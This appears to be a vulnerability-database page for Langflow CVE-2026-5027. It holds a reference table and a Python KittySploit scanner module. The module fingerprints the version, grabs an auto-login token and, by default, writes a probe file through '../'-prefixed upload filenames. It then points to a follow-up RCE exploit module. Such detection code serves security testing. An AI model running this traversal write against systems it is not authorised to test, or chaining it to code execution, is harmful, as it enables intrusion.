Langflow CVE-2026-5027 path traversal detection
| Reporter | Title | Published | Views | Family All 32 |
|---|---|---|---|---|
| Exploit for CVE-2026-5027 | 3 Apr 202609:48 | – | githubexploit | |
| Exploit for Path Traversal in Langflow | 21 Aug 202604:17 | – | githubexploit | |
| Exploit for CVE-2026-5027 | 10 Jun 202619:18 | – | githubexploit | |
| CVE-2026-5027 | 27 Mar 202614:54 | – | attackerkb | |
| CVE-2026-5027 | 27 Mar 202617:23 | – | circl | |
| Langflow 安全漏洞 | 27 Mar 202600:00 | – | cnnvd | |
| CVE-2026-5027 | 27 Mar 202614:54 | – | cve | |
| CVE-2026-5027 Langflow - Path Traversal Arbitrary File Write via upload_user_file | 27 Mar 202614:54 | – | cvelist | |
| Langflow 1.8.4 - Path Traversal to Remote Code Execution | 31 Aug 202600:00 | – | exploitdb | |
| EUVD-2026-16668 | 27 Mar 202615:30 | – | euvd |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""CVE-2026-5027 — Langflow path traversal file write detection."""
import re
import time
from typing import Optional, Tuple
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
"name": "Langflow CVE-2026-5027 path traversal detection",
"description": (
"Detects Langflow <= 1.8.4 affected by CVE-2026-5027 (unsanitized "
"multipart filename on POST /api/v2/files → arbitrary file write). "
"Checks /api/v1/version, probes auto-login, and optionally confirms "
"with a benign write to /tmp. Fixed in 1.9.0+."
),
"author": ["KittySploit Team"],
"severity": "high",
"cve": "CVE-2026-5027",
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2026-5027",
"https://www.tenable.com/security/research/tra-2026-26",
"https://github.com/langflow-ai/langflow/security/advisories/GHSA-g2j9-7rj2-gm6c",
"https://github.com/yahiahamza/CVE-2026-5027",
],
"modules": [
"exploits/multi/http/langflow_cve_2026_5027_file_write_rce",
],
"tags": [
"web",
"scanner",
"langflow",
"path-traversal",
"file-write",
"rce",
"cve-2026-5027",
],
"agent": {
"risk": "active",
"effects": ["network_probe"],
"expected_requests": 4,
"reversible": True,
"approval_required": False,
"produces": ["tech_hints", "risk_signals", "endpoints"],
"cost": 1.0,
"noise": 0.3,
"value": 1.0,
"requires": {
"min_endpoints": 0,
"min_params": 0,
"tech_hints_any": ["langflow"],
"tech_hints_all": [],
"specializations_any": [],
"risk_signals_any": [],
"auth_session": False,
"capabilities_any": [],
"capabilities_all": [],
"confidence_min": {},
"confidence_min_any": {},
"endpoint_pattern_any": ["/api/v2/files", "/api/v1/auto_login"],
"param_any": [],
"api_surface_ready": False,
},
"chain": {
"produces_capabilities": [
{"capability": "file_write", "from_detail": "path_traversal"},
{"capability": "rce", "from_detail": "cron"},
],
"consumes_capabilities": [],
"option_bindings": {},
"suggested_followups": [
"exploits/multi/http/langflow_cve_2026_5027_file_write_rce",
],
},
},
}
port = OptPort(7860, "Langflow HTTP port (default 7860)", True)
ssl = OptBool(False, "Use HTTPS", True, advanced=True)
base_path = OptString("/", "Langflow base path", required=False)
username = OptString("", "Optional username if auto-login disabled", required=False)
password = OptString("", "Optional password", required=False)
active_probe = OptBool(
True,
"Confirm with benign path-traversal write to /tmp",
required=False,
)
def _timeout(self) -> int:
return max(int(self.timeout or 15), 10)
def _base(self) -> str:
val = str(self.base_path or "/").strip() or "/"
if not val.startswith("/"):
val = "/" + val
return val.rstrip("/")
def _path(self, suffix: str) -> str:
base = self._base()
if not suffix.startswith("/"):
suffix = "/" + suffix
return f"{base}{suffix}" if base else suffix
@staticmethod
def _ver_tuple(value: str) -> Optional[Tuple[int, ...]]:
parts = []
for token in str(value or "").split(".")[:3]:
digits = "".join(ch for ch in token if ch.isdigit())
if not digits:
return None
parts.append(int(digits))
return tuple(parts) if parts else None
def _is_affected(self, version: str) -> Optional[bool]:
parsed = self._ver_tuple(version)
if not parsed:
return None
# Affected through 1.8.4; fixed in 1.9.0+
if parsed <= (1, 8, 4):
return True
return False
def _get_token(self) -> Tuple[str, str]:
response = self.http_request(
method="GET",
path=self._path("/api/v1/auto_login"),
timeout=self._timeout(),
allow_redirects=False,
)
if response and response.status_code == 200:
try:
token = (response.json() or {}).get("access_token") or ""
except Exception:
token = ""
if token:
return token, "auto-login"
user = str(self.username or "").strip()
password = str(self.password or "").strip()
if user and password:
response = self.http_request(
method="POST",
path=self._path("/api/v1/login"),
json={"username": user, "password": password},
timeout=self._timeout(),
allow_redirects=False,
)
if response and response.status_code == 200:
try:
token = (response.json() or {}).get("access_token") or ""
except Exception:
token = ""
if token:
return token, "credentials"
return "", ""
def _write_file(self, token: str, remote_path: str, content: bytes):
filename = ("../" * 9) + remote_path.lstrip("/")
return self.http_request(
method="POST",
path=self._path("/api/v2/files"),
headers={"Authorization": f"Bearer {token}"},
files={"file": (filename, content, "application/octet-stream")},
timeout=self._timeout(),
allow_redirects=False,
)
def _fingerprint(self) -> Tuple[bool, str]:
response = self.http_request(
method="GET",
path=self._path("/api/v1/version"),
timeout=self._timeout(),
allow_redirects=True,
)
if response and response.status_code == 200:
try:
data = response.json() or {}
except Exception:
data = {}
version = str(data.get("version") or data.get("Version") or "").strip()
if version:
return True, version
text = response.text or ""
if "langflow" in text.lower():
match = re.search(r"(\d+\.\d+\.\d+)", text)
return True, match.group(1) if match else ""
for path in ("/", "/login", "/api/v1/health"):
response = self.http_request(
method="GET",
path=self._path(path),
timeout=self._timeout(),
allow_redirects=True,
)
if not response:
continue
text = (response.text or "").lower()
if "langflow" in text:
match = re.search(r"(\d+\.\d+\.\d+)", response.text or "")
return True, match.group(1) if match else ""
return False, ""
def run(self):
print_status("Fingerprinting Langflow…")
found, version = self._fingerprint()
if not found:
print_error("Langflow not detected")
return False
print_success("Langflow detected")
affected = None
if version:
print_info(f"Version: {version}")
affected = self._is_affected(version)
if affected is True:
print_warning("Version <= 1.8.4 — CVE-2026-5027 likely")
elif affected is False:
print_success("Version >= 1.9.0 — appears patched")
else:
print_info("Could not map version to vulnerability window")
else:
print_info("Version unknown")
print_status("Obtaining access token…")
token, method = self._get_token()
if not token:
print_error(
"No token (auto-login disabled and no credentials). "
"Set username/password or follow-up may still work if auth obtained."
)
if affected is True:
if hasattr(self, "set_info"):
self.set_info(
severity="high",
cve="CVE-2026-5027",
version=version or None,
reason=f"Langflow {version} affected range; auth not obtained",
confidence="medium",
)
return True
return False
print_success(f"Token via {method}")
confirmed = False
if self.active_probe:
stamp = time.strftime("%Y%m%d%H%M%S")
proof_path = f"/tmp/ks_cve_2026_5027_{stamp}.txt"
content = f"CVE-2026-5027 KittySploit probe {stamp}\n".encode()
print_status(f"Benign write probe → {proof_path}")
response = self._write_file(token, proof_path, content)
if response and response.status_code in (200, 201):
try:
data = response.json() or {}
except Exception:
data = {}
server_path = str(data.get("path") or "")
confirmed = True
print_warning(
f"Traversal upload accepted (HTTP {response.status_code})"
)
if server_path:
print_info(f"Server path: {server_path}")
if "/tmp/" in server_path or proof_path in server_path:
print_warning("Response path escaped upload directory")
else:
code = getattr(response, "status_code", None)
print_info(f"Write probe failed (HTTP {code})")
if confirmed or affected is True:
if hasattr(self, "set_info"):
self.set_info(
severity="high",
cve="CVE-2026-5027",
version=version or None,
reason=(
"Arbitrary file write confirmed via /api/v2/files"
if confirmed
else f"Langflow {version} <= 1.8.4"
),
confidence="high" if confirmed else "medium",
)
print_warning(
"Follow up: exploits/multi/http/langflow_cve_2026_5027_file_write_rce"
)
return True
if affected is False:
if hasattr(self, "set_info"):
self.set_info(
severity="info",
version=version,
reason=f"Langflow {version} appears patched",
)
return False
print_info("Langflow found; CVE-2026-5027 not confirmed")
if hasattr(self, "set_info"):
self.set_info(
severity="info",
cve="CVE-2026-5027",
version=version or None,
reason="Langflow detected; CVE-2026-5027 not confirmed",
confidence="low",
)
return False
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29 Sep 2026 10:07Current
6.3Medium risk
Vulners AI Score6.3
CVSS 3.18.8
EPSS0.04758
SSVC